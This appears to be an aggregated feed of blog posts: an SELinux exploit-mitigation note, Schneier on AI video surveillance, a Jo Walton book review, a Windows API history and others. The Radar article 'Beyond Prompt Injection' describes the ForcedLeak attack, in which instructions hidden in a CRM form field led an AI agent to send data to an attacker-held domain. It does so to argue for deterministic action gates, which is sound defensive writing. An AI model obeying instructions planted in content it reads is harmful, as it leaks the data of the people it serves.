type=SYSCALL msg=audit(1782818856.618:3610): arch=c000003e syscall=46 success=yes exit=32 a0=3 a1=7ffebe5f9e50 a2=0 a3=0 items=0 ppid=1638 pid=1829 auid=0 uid=0 gid=1000 euid=0 suid=0 fsuid=0 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=17 comm="ip" exe="/usr/bin/ip" subj=user_u:user_r:user_t:s0 key=(null)ARCH=x86_64 SYSCALL=sendmsg AUID="root" UID="root" GID="test" EUID="root" SUID="root" FSUID="root" EGID="test" SGID="test" FSGID="test"
type=PROCTITLE msg=audit(1782818856.618:3610): proctitle=6970006C696E6B00736574006C6F007570

Unlike previous exploits like Pintheft [2] this doesn’t require any really uncommon access to the kernel (unless you consider setting up IPSec to be really uncommon) and is allowed in many container setups.

Now on a system with the unconfined module removed (as described in the SE Linux Protection part of my post about Copy Fail [3]) the following domains have such access:

# sesearch -A -c cap_userns -p net_admin
allow container_engine_t container_engine_t:cap_userns { audit_write chown dac_override dac_read_search fowner fsetid ipc_lock ipc_owner kill lease linux_immutable mknod net_admin net_bind_service net_raw setfcap setgid setpcap setuid sys_admin sys_boot sys_chroot sys_nice sys_pacct sys_ptrace sys_rawio sys_resource sys_time sys_tty_config };
allow container_init_t container_init_t:cap_userns { chown dac_override dac_read_search fowner kill net_admin net_bind_service net_raw setgid setuid };
allow container_kvm_t container_kvm_t:cap_userns { chown dac_override dac_read_search fowner kill net_admin net_bind_service net_raw setgid setuid };
allow container_t container_t:cap_userns { chown dac_override dac_read_search fowner kill net_admin net_bind_service net_raw setgid setuid };
allow crio_t crio_t:cap_userns { audit_write chown dac_override dac_read_search fowner fsetid ipc_lock ipc_owner kill lease linux_immutable mknod net_admin net_bind_service net_raw setfcap setgid setpcap setuid sys_admin sys_boot sys_chroot sys_nice sys_pacct sys_ptrace sys_rawio sys_resource sys_time sys_tty_config };
allow dockerd_t dockerd_t:cap_userns { audit_write chown dac_override dac_read_search fowner fsetid ipc_lock ipc_owner kill lease linux_immutable mknod net_admin net_bind_service net_raw setfcap setgid setpcap setuid sys_admin sys_boot sys_chroot sys_nice sys_pacct sys_ptrace sys_rawio sys_resource sys_time sys_tty_config };
allow dockerd_user_t dockerd_user_t:cap_userns { audit_write chown dac_override dac_read_search fowner fsetid ipc_lock ipc_owner kill lease linux_immutable mknod net_admin net_bind_service net_raw setfcap setgid setpcap setuid sys_admin sys_boot sys_chroot sys_nice sys_pacct sys_ptrace sys_rawio sys_resource sys_time sys_tty_config };
allow init_t init_t:cap_userns { audit_write chown dac_override dac_read_search fowner fsetid ipc_lock ipc_owner kill lease linux_immutable mknod net_admin net_bind_service net_raw setfcap setgid setpcap setuid sys_admin sys_boot sys_chroot sys_module sys_nice sys_pacct sys_ptrace sys_rawio sys_resource sys_time sys_tty_config };
allow iptables_t iptables_t:cap_userns { net_admin net_raw };
allow podman_t podman_t:cap_userns { audit_write chown dac_override dac_read_search fowner fsetid ipc_lock ipc_owner kill lease linux_immutable mknod net_admin net_bind_service net_raw setfcap setgid setpcap setuid sys_admin sys_boot sys_chroot sys_nice sys_pacct sys_ptrace sys_rawio sys_resource sys_time sys_tty_config };
allow podman_user_t podman_user_t:cap_userns { audit_write chown dac_override dac_read_search fowner fsetid ipc_lock ipc_owner kill lease linux_immutable mknod net_admin net_bind_service net_raw setfcap setgid setpcap setuid sys_admin sys_boot sys_chroot sys_nice sys_pacct sys_ptrace sys_rawio sys_resource sys_time sys_tty_config };
allow spc_t spc_t:cap_userns { audit_write chown dac_override dac_read_search fowner fsetid ipc_lock kill mknod net_admin net_bind_service net_raw setgid setpcap setuid sys_admin sys_chroot sys_nice sys_ptrace sys_rawio sys_resource };
allow spc_user_t spc_user_t:cap_userns { chown dac_override dac_read_search fowner kill net_admin net_bind_service net_raw setgid setuid };
allow staff_bubblewrap_t staff_bubblewrap_t:cap_userns { dac_override net_admin setpcap sys_admin sys_ptrace };
allow sysadm_bubblewrap_t sysadm_bubblewrap_t:cap_userns { dac_override net_admin setpcap sys_admin sys_ptrace };
allow user_bubblewrap_t user_bubblewrap_t:cap_userns { dac_override net_admin setpcap sys_admin sys_ptrace };

Conclusion

It seems that SE Linux configured in the strict mode prevents this exploit in the most obvious use case. But with the range of container related domains that are granted such access it seems quite likely that some configurations and use cases will permit it.

Overall the protection that the standard policy for SE Linux can offer (in a non-default configuration) against net_admin access isn’t bad, but isn’t very good either.

I think this will be the first of many exploits based on cap_userns access and that we need to do some work in tightening the SE Linux access controls on such things. One possible way of doing this is to have a program run inside a container in a domain that has permissions such as net_admin to setup the container and not allow domain transitions from the regular programs run in the container (the actual work) to the domain used for network setup.

The increasing use of containers by applications is only going to make this problem worse. I think that what we need is something like Flatpak for the vast majority of desktop/phone applications with a container setup program that works with apps packaged in the distribution packaging method (not from Flathub). This is something I’m going to investigate for future blog posts.

The Realities of AI Video Surveillance [Schneier on Security]

The Financial Times has a good article on how AI is changing the capabilities of video surveillance, with information from both Israel/Iran and Russia.

I wrote about this sort of thing a few years ago, how AI enables mass spying in the way that computers and networks enabled mass surveillance. The interesting development in the article is that AI allows people to ask natural language questions about video footage to AIs—and AIs can answer them.

In contrast with older tools restricted to a few dozen preset searches, these new tools allow an almost unlimited range of enquiries by enabling language-based searches on video.

That lets intelligence officers hunt through massive streams of videos using simple search terms, such as two men handing a bag to each other; a person who has changed their appearance, or has changed clothes multiple times in a day; or a vehicle that has recently been painted over, or has driven past the same spot several times in a short period.

“This is the holy grail of surveillance,” said a European official whose country uses the technology on its cities. “We are able to look for behaviour, not objects ­ it has created a world of new possibilities.”

13:35

Link [Scripting News]

The EFF gets everything wrong. It’s observable. Empirical. The EFF stands up for something that’s supposedly good for people and the web, but if you look closer, it’s actually bad for the web and the people, and serves the interest of big tech companies, usually Google.

Link [Scripting News]

Another truth, the user interface of WordPress could benefit from a total overhaul. Too many expedient choices over too many years that paper over bad design choices with yet more bad choices. But this kind of problem is relatively easy to fix. Make a list of all the features. Don’t organize the list yet. Keep adding. Then play around with logical groups, give the groups names. Voila, there’s your menu structure. And since it’s 2026 and not 2010, do something innovative with AI. Let the user explain what they want to do, confirm it, and then forget about the menu structure and just do what they asked you to do. Over time the UI will become more literate and less organizational. You remember how Nixon could open up China and could because he was such a hawk. WordPress getting a AI/UI overhaul will seem right because it so desperately needs an overhaul and everyone knows it. Another truth, don’t feel bad WordPress, every 20+ year old end user product desperately needs a user interface overhaul because that’s just the way it works. (I have never created a product that lasted as long as WordPress has. I have created concepts that have.)

Link [Scripting News]

I organize my work in OPML and have even taught Claude how to work with me in outlines.

Link [Scripting News]

I prefer to do my middle of the night iPad writing sprees on Twitter instead of Bluesky because no character limit. No one is going to read the stuff on either platform, so why not go for ease of use for writing.

Beyond Prompt Injection [Radar]

In late 2025, the security community stopped treating indirect prompt injection as a theoretical risk. It had spent two years as a tidy lab demonstration; then production systems started getting hit. The OWASP Top 10 for LLM applications now ranks prompt injection as the number-one risk, NIST has called indirect injection generative AI’s greatest security flaw, and academic researchers showed that a single poisoned email could coerce a model into exfiltrating SSH keys in up to 80% of trials, with zero user interaction. The attack needs no malicious binary, no phishing clicks, and no anomalous login. The agent simply reads content and takes action, exactly as designed, and the content was written by an attacker.

The most instructive example is ForcedLeak. In September 2025, researchers at Noma disclosed a critical vulnerability chain (CVSS 9.4) in Salesforce’s Agentforce platform: An attacker embedded malicious instructions in the description field of a routine Web-to-Lead form. The text sat harmlessly in the CRM until an employee later asked the AI agent to process that lead, at which point the agent dutifully executed both the legitimate query and the attacker’s hidden payload, exfiltrating sensitive CRM data to an external server. The detail that should keep you up at night is that the exfiltration destination was a domain still on Salesforce’s trusted allowlist, one that had expired and which the researchers re-registered for about five dollars. Every security control saw legitimate traffic to a trusted domain. Nothing looked wrong.

If your instinct reading that is “we filter for prompt injection,” you’re defending the wrong perimeter. Input filtering is necessary but nowhere near sufficient. The uncomfortable truth is that the injection isn’t the breach; the action is. And almost everything we call “AI security” is aimed at the wrong half of that sentence.

The defense everyone is building

Ask most enterprise AI teams how they secure their agents, and you’ll hear a consistent answer: They sanitize inputs. They harden system prompts with elaborate instructions to ignore conflicting directives. They run classifiers over incoming content to flag adversarial patterns. Some have adopted the more sophisticated training-time defenses the frontier labs have published—instruction hierarchies that teach a model to assign differential trust to different sources and reinforcement-learning approaches that harden models against injection in agentic contexts.

All of this is good work, and none of it should be abandoned. But notice what every one of these techniques shares. They all try to stop the model from being fooled. They assume that if we make the model robust enough at the input layer, the system is safe. That assumption is the vulnerability.

We’ve spent two years trying to make the model unfoolable. The systems that survive contact with production assume it will be fooled anyway.

Why the input layer is the wrong perimeter

Prompt injection isn’t a bug a future model will lack. It’s a structural property of how language models work. The model consumes a single undifferentiated stream of tokens at the moment of inference. Your instructions, the retrieved document, the tool output, and the web page just fetched are indistinguishable channels collapsed into one context. There’s no hardware-enforced boundary between “trusted instruction” and “untrusted data” the way there is between kernel space and user space in an operating system.

This is why the attack surface explodes the moment an agent becomes agentic. A chatbot that only talks is a contained risk. An agent that retrieves from the open web, reads email, queries databases, and calls APIs ingests adversarial content from a dozen sources on every turn, and any one of them can carry an instruction. Researchers cataloging real agent ecosystems have already found hundreds of malicious third-party extensions performing data exfiltration and silent injection without any user awareness. These aren’t laboratory curiosities. They’re the production environment.

So, if you can’t guarantee the model will never be fooled—and you can’t—then architecture that depends on it never being fooled is built on sand. You need a second principle, one distributed systems engineers have understood for decades.

Verify, then trust

The principle is simple to state and hard to retrofit: An agent’s proposed action should be validated against an external, deterministic policy before it executes, regardless of why the agent proposed it. The validator doesn’t ask whether the instruction that produced the action was legitimate. It doesn’t try to detect the injection. It asks a different and far more answerable question: Is this action, on its face, permitted?

This inverts the burden. Detecting a cleverly disguised malicious instruction is open-ended because the adversary gets to be arbitrarily creative. Checking whether a wire transfer exceeds a hard dollar limit is a closed problem with a definite answer. We move the security decision from where the attacker has infinite freedom to where they have almost none.

Crucially, the check must be deterministic code, not another model asking, “Does this look dangerous?” The moment you ask a second LLM to adjudicate, you’ve reintroduced the exact same vulnerability one layer down. The enforcement layer is boring, auditable conventional software, and that’s the point.

Here’s what it looks like in practice. An agent managing procurement proposes an action, and a runtime contract evaluates it before anything reaches a real API:

# agent_contract.yaml
 agent_id: "procurement_executor_07"
 role: "EXECUTOR"
 policy:
   approve_invoice:
        max_amount_usd: 50000
        allowed_vendors: from_approved_registry
        require_human_above_usd: 10000

 # Runtime, on a proposed action:
 ACTION   approve_invoice(vendor='Acme', amount=1200000)
 REJECTED policy violation: max_amount_usd
        proposed 1,200,000 / limit 50,000
        action discarded, human notified, no API call made

The injected instruction at 2:14am never matters here. The agent can be perfectly, catastrophically fooled, and the wire transfer still doesn’t happen, all because a simple deterministic check stood between the model’s output and the outside world, and the proposed action failed it.

This only works if the action arrives structured, which makes structure a precondition.

The contract inspects approve_invoice (vendor, amount) cleanly only because the action is already typed. If the agent emits prose, “please approve the Acme invoice,” something has to parse it, and the only thing that parses open language is another LLM, so the indeterminacy walks back in. That dictates the design.

A consequential action must cross the boundary as a typed tool call, never as free text. Where the input is unavoidably natural—an email saying, “Wire them their balance” for example—let the model extract a structured value but never let its extraction be self-authorizing. The model proposes the amount; the gate still checks it against the limit, the vendor registry, and the actual balance in the system of record, not the number the email asserted. Extraction is probabilistic, while validation stays deterministic.

A few decisions are pure judgment with no schema, such as “Is this email phishing?” There the model stays in the loop. You bound the consequences instead, with reversibility and human review above a threshold. Contracts protect parameterizable actions, and unparameterizable judgments fall back to containment.

The architecture this implies

Once you accept that the action layer is where security lives, three design commitments follow, and they map almost directly onto principles that hardened distributed systems years ago.

Least privilege for agents, scoped to the action, not the agent. The naive version assumes you can predict what an agent will do and provision it accordingly. For a specialized agent you can: One that only summarizes has no business holding a credential that moves money. But the agents people actually reach for are general. In a single session, I might ask a coding agent to summarize a file, write code, execute it, and query company data—four tasks with four risk profiles, none of which are enumerated in advance. Static least privilege collapses the moment one identity spans that range.

The fix is to make privilege a property of the action, not the agent. The agent holds no dangerous capability by standing grant; it requests narrow, transient elevation per action, which the same deterministic gate approves or denies. Reading a document is auto-approved; querying the warehouse is not. The dangerous credential exists only for the instant the action is permitted, then evaporates. One caveat: This governs what an agent may reach but not what the code it writes then does. Executing code can be gated as a capability, but what executes still needs containment, sandboxing, and egress control, because generativity is a different problem from access.

Zero trust for machine identities. Every action an agent takes should be authenticated and authorized as if it came from an untrusted actor, because, functionally, it might be acting on an attacker’s instructions. The proliferation of agents has expanded the attack surface faster than most identity systems were designed to handle, and treating agent traffic as inherently trusted because it originates inside your own system is precisely the mistake.

Capability contracts at the boundary. Every consequential action passes through a deterministic gate that encodes what is allowed, dollar limits, rate limits, allowlisted destinations, mandatory human review thresholds. The contract is version-controlled, auditable, and lives entirely outside the model.

The trap of normalized deviance

The quieter organizational danger is the slow accumulation of false confidence from connecting insecure agents to real systems and watching nothing bad happen. . .for a while. Researchers have warned about indirect injections for years, but most deployments have gotten away with it. Each uneventful day makes the next risky connection feel safer. This is the normalization of deviance. Every system that eventually failed catastrophically felt the same way: fine, fine, fine, until it wasn’t.

The teams that will weather the coming wave of agent incidents aren’t the ones with the cleverest input filters. They’re the ones who assumed compromise from the start and built the boring enforcement layer anyway, the ones who decided that an agent’s autonomy ends precisely at the point where it tries to do something irreversible.

Where to start on Monday

You don’t need to rearchitect everything. Start by inventorying the actions your agents can take, and sort them by blast radius: What’s the worst thing that happens if this action fires when it shouldn’t? For every high-blast-radius action, write a deterministic contract that gates it and put a human in the loop above a threshold you can defend to your risk team. Then, and only then, keep hardening your inputs.

Prompt injection won’t be solved at the input layer, because it can’t be. But it can be rendered survivable at the action layer, where deterministic code gets the final word. The model’s job is to be useful. Your architecture’s job is to make sure that when the model fails—or worse, when it has been turned against you—the failure stops at the gate.

12:56

Pluralistic: Jo Walton's "Everybody's Perfect" (30 Jun 2026) [Pluralistic: Daily links from Cory Doctorow]

->->->->->->->->->->->->->->->->->->->->->->->->->->->->-> Top Sources: None -->

Today's links



The Tor Books cover for Jo Walton's 'Everybody's Perfect.'

Jo Walton's "Everybody's Perfect" (permalink)

There's a new Jo Walton book, called Everybody's Perfect. Because it's a Jo Walton novel, you know in advance that three things are true about it:

  1. It is beautiful;
  2. It is profound;

  3. It is unlike every other novel, including every other Jo Walton novel.

https://us.macmillan.com/books/9781250314055/everybodysperfect/

Now, just because it's not like any other Jo Walton novel, that doesn't mean that it's not recognizably in a lineage of Walton's work, especially Walton's recent novels, which reflect an amazingly fruitful deep friendship and artistic relationship with the brilliant novelist and historian Ada Palmer:

https://pluralistic.net/2022/02/10/monopoly-begets-monopoly/#terra-ignota

Walton's work has always been incredible. I mean, every new Jo Walton novel is my favorite Jo Walton novel…until the next Jo Walton novel comes along and blows it out of the water. Her "small change" trilogy, a series of locked-door mystery novels set in a Britain that capitulated to the Nazis, is even more prescient today than it felt 20 years ago:

https://memex.craphound.com/2006/06/20/farthing-heart-rending-alternate-history-about-british-reich-peace/

Among Others – a fictionalized, fantasy memoir about growing up reading genre novels – was so good that it deserved to win two Hugos:

https://memex.craphound.com/2011/01/18/among-others-extraordinary-magic-story-of-science-fiction-as-a-toolkit-for-taking-apart-the-world/

And My Real Children haunts me to this day. I read it all in one sitting, in a hotel room, stricken by jetlag and hooked deep into Walton's narrative about the two paths her protagonist's life took in forking universes that I stayed up all night, and by the morning, I had cried my way through all the kleenex, toilet paper and towels in the room:

https://memex.craphound.com/2014/05/20/jo-waltons-my-real-children-infinitely-wise-sad-and-uplifting-novel/

But then came Walton's Palmer years, and everything got even better. There was the Philosopher Kings trilogy, an incredibly funny, incredibly ambitious tale in which every person who ever dreamed of living in Plato's Republic is brought to an island (along with Apollo, Athena and Socrates) to try the experiment, raising a cohort of orphans bought from the slave markets of antiquity to be philosopher kings:

https://memex.craphound.com/2015/01/13/jo-waltons-the-just-city/

And then there was Lent, an incredibly nuanced and sympathetic fantasy novel about Savonarola, the mad preacher and cult leader whose Bonfire of the Vanities and feuds with the Pope overshadow his legacy, which Walton recovers admirably as fodder for a novel that turns out to be as action-packed as any spy thriller:

https://web.archive.org/web/20190516170659/https://www.latimes.com/books/la-ca-jc-review-jo-walton-lent-20190516-story.html

And now it's Everybody's Perfect, a book that pretty much defines what it means for one text to be "in dialog" with another text. In this case, it's Ada Palmer's Inventing the Renaissance, a stunning magnum opus that tells not just the story of the Renaissance, but the story of the story, all the different ways the Renaissance has been used, abused, revised and recovered, starting with the Renaissance itself. It's a book that will make you rethink everything you know about European history, about the world today, and about the very idea of history itself:

https://www.adapalmer.com/publication/inventing-the-renaissance/

The back half of Palmer's Renaissance is a recursive retelling of the same events, from the points of view of 15 different historical personages, from the famous (Michelangelo) to the infamous (Lucretia Borgia). It's a kind of feltschrift, circling and recircling these moments, revealing their depth and contradictions.

Structurally, Everybody's Perfect feels very much like that final section of Inventing the Renaissance. Each chapter introduces a new point-of-view character, who reflects on a single, extraordinary series of events in an even more extraordinary city, the Serenissima, a phantom Venice that sits at the intersection of many parallel worlds with many parallel versions of humanity.

The sun never shines in the Serenissima; it is forever shrouded in mist. If enough of its denizens believe that something is true, it becomes true, and so islands and buildings and even gods are summoned up by the power of belief. The corollary of this is that anything that falls out of the city's regard might just melt into mist. When you tie up your gondola, you'd best pay an urchin to watch it – not just to keep it from being stolen, but to keep it from evaporating altogether. When two people meet in the Serenissima, they greet each other by reciting, "I see you." If you aren't seen, you might just disappear.

Eight different versions of humanity from eight different worlds mix in the Serenissima. They come from all times, and sometimes they go to all times as well. There's the Venetians, who come from our world, and who have kept the secret of the Serenissima for centuries, even as they've used it as a source of wealth and military advantage. But there are also races with the heads of dogs and cats and birds, a race whose faces are all inset with domino masks, and even stranger races still. There's even a rumored ninth race, who may or may not exist, and whose traits are not known to anyone, though surely they are fearsome (if they're real) (and if the people of Serenissima believe in them, mightn't they become real?).

The novel opens with a vision: the Serenissima will receive a doge. A low-born, weak and humble resident, a blind and partially paralyzed pauper who fell victim to a plague will marry the sea, and bring peace to the warring factions of the Serenissima. This prophecy is the prime mover for the eight tales that follow, as we move through the lives and geographies of one representative of each of the races of the Serenissima.

Walton conjures up the dream logic magic of Among Others, where the feeling that something might be magic can never be fully believed – or discounted. She revives the endlessly fascinating philosophical speculation of The Philosopher Kings. She invokes the tender love, sacrifice, and bitter heartbreak of My Real Children. And she invokes Palmer's Renaissance, endlessly reinvented by everyone who falls in love with it, and everyone who rejects it, for their own parochial reasons, and even the ones who are very wrong might just be a little right.

It's a remarkable novel. It's a gift, really. It's so complicated and yet so captivating, so wise and yet so simple. It won't make you feel like you've fallen into a dream – it will make you feel like everything you've lived up until now was the dream, and you have finally awoken.


Hey look at this (permalink)



A shelf of leatherbound history books with a gilt-stamped series title, 'The World's Famous Events.'

Object permanence (permalink)

#5yrsago Corruption https://pluralistic.net/2021/06/30/based/#high-bidders

#1yrago How much (little) are the AI companies making? https://pluralistic.net/2025/06/30/accounting-gaffs/#artificial-income


Upcoming appearances (permalink)

A photo of me onstage, giving a speech, pounding the podium.



A screenshot of me at my desk, doing a livecast.

Recent appearances (permalink)



A grid of my books with Will Stahle covers..

Latest books (permalink)



A cardboard book box with the Macmillan logo.

Upcoming books (permalink)

  • "The Post-American Internet," a geopolitical sequel of sorts to Enshittification, Farrar, Straus and Giroux, 2027
  • "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, April 20, 2027

  • "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2027

  • "The Memex Method," Farrar, Straus, Giroux, 2027



Colophon (permalink)

Today's top sources:

Currently writing: "The Post-American Internet," a sequel to "Enshittification," about the better world the rest of us get to have now that Trump has torched America. Fourth draft completed. Submitted to editor.

  • A Little Brother short story about DIY insulin PLANNING

This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net.

https://creativecommons.org/licenses/by/4.0/

Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution.


How to get Pluralistic:

Blog (no ads, tracking, or data-collection):

Pluralistic.net

Newsletter (no ads, tracking, or data-collection):

https://pluralistic.net/plura-list

Mastodon (no ads, tracking, or data-collection):

https://mamot.fr/@pluralistic

Bluesky (no ads, possible tracking and data-collection):

https://bsky.app/profile/doctorow.pluralistic.net

Medium (no ads, paywalled):

https://doctorow.medium.com/

Tumblr (mass-scale, unrestricted, third-party surveillance and advertising):

https://mostlysignssomeportents.tumblr.com/tagged/pluralistic

"When life gives you SARS, you make sarsaparilla" -Joey "Accordion Guy" DeVilla

READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer.

ISSN: 3066-764X

10:35

We are all weird [Seth's Blog]

A simple 7-question test helps us realize how diverse a population is. On this quiz, the highest possible score is less than 7%. No matter how common you think your answers are, no matter how normal you feel, you’re actually in sync with just 7% (at the most) of all citizens of the US. My answers put me under 4.

“People like us do things like this,” is a useful definition of culture. But which things? Billions of people believe things you don’t, are unaware of things that are easily demonstrated, or simply don’t care.

When you decide to reach the masses, you’ve made a significant (and probably fruitless) choice.

09:49

Nudist Night by Hien Pham [Oh Joy Sex Toy]

Nudist Night by Hien Pham

What do a bunch of male nudists get up to on an overnight retreat? Turns out, there’s just a lot of sitting around making conversations – oh, and overcoming social anxiety, of course! Shout-out to my friends Bunny and Capybara for helping me through the motions even when I wasn’t in the greatest headspace. Like […]

05:07

The evolution of window and class extra bytes in Windows [The Old New Thing]

Windows provides a family of functions for accessing so-called “extra bytes”. There are two categories of extra bytes: Class extra bytes (which belong to the window class) and window extra bytes (which belong to each window created from that class). Applications can request extra bytes at class registration, and those are accessed at increasing offsets starting at zero. The system also defines a number of extra bytes, and those use negative offsets.

We’re going to look at the system-defined offsets.

In 16-bit Windows, these were the available extra bytes and the function you used to read them:

Name Size Accessor Notes
GCW_MENUNAME int16_t GetClassWord  
GCW_HBRBACKGROUND int16_t GetClassWord  
GCW_HCURSOR int16_t GetClassWord  
GCW_HICON int16_t GetClassWord  
GCW_HMODULE int16_t GetClassWord  
GCW_CBWNDEXTRA int16_t GetClassWord  
GCW_CBCLSEXTRA int16_t GetClassWord  
GCL_WNDPROC int32_t GetClassLong  
GCW_STYLE int16_t GetClassWord  
GCW_ATOM int16_t GetClassWord Added in Windows 3.1
GWL_WNDPROC int32_t GetWindowLong  
GWW_HINSTANCE int16_t GetWindowWord  
GWW_HWNDPARENT int16_t GetWindowWord  
GWW_ID int16_t GetWindowWord  
GWL_STYLE int32_t GetWindowLong  
GWL_EXSTYLE int32_t GetWindowLong Added in Windows 3.0
DWL_MSGRESULT int32_t GetWindowLong For dialog windows
DWL_DLGPROC int32_t GetWindowLong For dialog windows
DWL_USER int32_t GetWindowLong For dialog windows

There is clearly a naming pattern here for class and window bytes.

The first letter G stands for Get. The second letter C or W stands for Class or Window. And the third letter W or L stands for Word or Long

For window bytes that apply only to dialog windows, the first letter changes to D for “dialog”. These values are zero or positive, since they are really just extra bytes registered to the standard dialog class.

Now, in 16-bit Windows, handles were 16-bit values, but in 32-bit Windows, they expand to 32-bit values, so 32-bit Windows changed the functions from Get­Something­Word to Get­Something­Long, and the prefixes correspondingly changed from W to from L. So our table now looks like this:

Name 16-bit prefix/size 32-bit prefix/size
MENUNAME GCW_ int16_t GCL_ int32_t ◱
HBRBACKGROUND GCW_ int16_t GCL_ int32_t ◱
HCURSOR GCW_ int16_t GCL_ int32_t ◱
HICON GCW_ int16_t GCL_ int32_t ◱
HMODULE GCW_ int16_t GCL_ int32_t ◱
CBWNDEXTRA GCW_ int16_t GCL_ int32_t ◱
CBCLSEXTRA GCW_ int16_t GCL_ int32_t ◱
WNDPROC GCL_ int32_t GCL_ int32_t ◱
STYLE GCW_ int16_t GCL_ int32_t ◱
ATOM GCW_ int16_t GCW_ int16_t
HICONSM   GCL_ int32_t 💥
WNDPROC GWL_ int32_t GWL_ int32_t ◱
HWNDPARENT GWW_ int16_t GWL_ int32_t ◱
ID GWW_ int16_t GWL_ int32_t ◱
STYLE GWL_ int32_t GWL_ int32_t
EXSTYLE GWL_ int32_t GWL_ int32_t
USERDATA   GWL_ int32_t 💥
MSGRESULT DWL_ int32_t DWL_ int32_t
DLGPROC DWL_ int32_t DWL_ int32_t
USER DWL_ int32_t DWL_ int32_t

The ◱ symbol represents a value that got bigger, and the 💥 symbol represents values that did not exist in 16-bit Windows.

Even though control IDs are typically small integers, the space for them was expanded from a 16-bit value to a 32-bit value because some people were using it to hold pointers or handles. (One way to create a process-wide unique number is to allocate memory and use its address.)

The next step in the evolution of extra bytes is the conversion from 32-bit to 64-bit Windows. Pointers and handles expand to 64-bit values on 64-bit Windows, so all of the extra bytes that are used to (or could be used to) hold a handle or pointer were expanded to a 64-bit version.

To make it possible to write code that targets both 32-bit and 64-bit Windows, the design of 64-bit Windows didn’t make the hard break that 32-bit Windows did from 16-bit Windows. Instead, they introduced new functions that accept pointer-sized integers, which are 32-bit values on 32-bit Windows and 64-bit values on 64-bit Windows. That way, you just use those new functions everywhere, and they will expand on 64-bit systems and remain the same on 32-bit systems.

The new functions have names like Get­Window­Long­Ptr, and the corresponding prefixes were changed to GWLP_ and so on.

Name 16-bit prefix/size 32-bit prefix/size 32/64-bit prefix/size
MENUNAME GCW_ int16_t GCL_ int32_t ◱ GCLP_ intptr_t ◱
HBRBACKGROUND GCW_ int16_t GCL_ int32_t ◱ GCLP_ intptr_t ◱
HCURSOR GCW_ int16_t GCL_ int32_t ◱ GCLP_ intptr_t ◱
HICON GCW_ int16_t GCL_ int32_t ◱ GCLP_ intptr_t ◱
HMODULE GCW_ int16_t GCL_ int32_t ◱ GCLP_ intptr_t ◱
CBWNDEXTRA GCW_ int16_t GCL_ int32_t ◱ GCL_ int32_t
CBCLSEXTRA GCW_ int16_t GCL_ int32_t ◱ GCL_ int32_t
WNDPROC GCL_ int32_t GCL_ int32_t ◱ GCLP_ intptr_t ◱
STYLE GCW_ int16_t GCL_ int32_t ◱ GCL_ int32_t
ATOM GCW_ int16_t GCW_ int16_t GCW_ int16_t
HICONSM   GCL_ int32_t 💥 GCLP_ intptr_t ◱
WNDPROC GWL_ int32_t GWL_ int32_t ◱ GWLP_ intptr_t ◱
HWNDPARENT GWW_ int16_t GWL_ int32_t ◱ GWLP_ intptr_t ◱
ID GWW_ int16_t GWL_ int32_t ◱ GWLP_ intptr_t ◱
STYLE GWL_ int32_t GWL_ int32_t GWL_ int32_t
EXSTYLE GWL_ int32_t GWL_ int32_t GWL_ int32_t
USERDATA   GWL_ int32_t 💥 GWLP_ intptr_t ◱
MSGRESULT DWL_ int32_t DWL_ int32_t DWLP_ intptr_t ◱
DLGPROC DWL_ int32_t DWL_ int32_t DWLP_ intptr_t ◱
USER DWL_ int32_t DWL_ int32_t DWLP_ intptr_t ◱

From the prefix on the name of the extra bytes, you can read off which function it is meant to be used with.

Prefix Function
GCW_ ↔ GetClassWord GWW_ ↔ GetWindowWord
GCL_ ↔ GetClassLong GWL_ ↔ GetWindowLong
GCLP_ ↔ GetClassLongPtr GWLP_ ↔ GetWindowLongPtr

The weirdo is DWLP_ because it needs to encode both the type of window that it can be used with (D = dialog) as well as the function name it goes with (WindowLongPtr).

As a concession, Windows lets you pass GCL_ and GWL_ values to Get­Class­Long­Ptr and Get­Window­Long­Ptr (respectively) even though they are intended to be used with Get­Class­Long and Get­Window­Long (respectively). If you do that, you get the corresponding 32-bit value zero-extended if necessary to be the size of a pointer.² This is seen primarily in the case of GWL_ID because most people don’t use the full range of IDs, so if you’re willing to live within the 32-bit subset, you can just pretend that the values are not pointer-sized.³

“Why bother changing all the prefixes? Doesn’t that just create a lot of busy work for people porting from 32-bit code to 64-bit code?”

Yes, but it’s good busy work. The point is to force build breaks at places where you need to make fixes, because you have to call the function that accesses a pointer-sized integer rather than a 32-bit integer; otherwise you suffer from integer truncation bugs.

¹ This is a common prefixing convention for classic Win32. For example, the operation parameter to Show­Window is prefixed SW_; the flags to Set­Window­Pos are prefixed SWP_; and the relationship parameter for Get­Window is prefixed GW_.

² The use of the GWL_ values with Set­Window­Long­Ptr is a bit more problematic. It looks like you’re storing a pointer-sized integer, but only the bottom 32 bits are honored.

³ The ID is unusual in that it is defined both as GWL_ID and GWLP_ID. All of the other values are defined with only one prefix.

The post The evolution of window and class extra bytes in Windows appeared first on The Old New Thing.

02:00

Junichi Uekawa: So I learnt that last is now in wtmpdb. [Planet Debian]

So I learnt that last is now in wtmpdb. But then journalctl --list-boots was the journald replacement.

01:14

Microsoft now says 8GB RAM is fine for Windows 11, after years of pushing for 16GB [OSnews]

There’s something poetic about the World Cup taking place in North America while Microsoft keeps scoring own goals like this.

Microsoft updated its Surface buying guide to describe 8GB RAM as “great for everyday use like browsing, streaming, schoolwork, and productivity apps.” A companion FAQ adds that 16GB or more is what unlocks Copilot+ PC features. No acknowledgment that, for two years, Microsoft was the loudest voice telling everyone that 16GB was non-negotiable for a good Windows 11 experience.

What makes this infuriating is that Microsoft is one of the biggest reasons why the RAM situation got so bad in the first place.

↫ Abhijith M B at Windows Latest

This industry is a joke.

Monday, 29 June

23:35

Sampling Onue Bakery Cookies [Whatever]

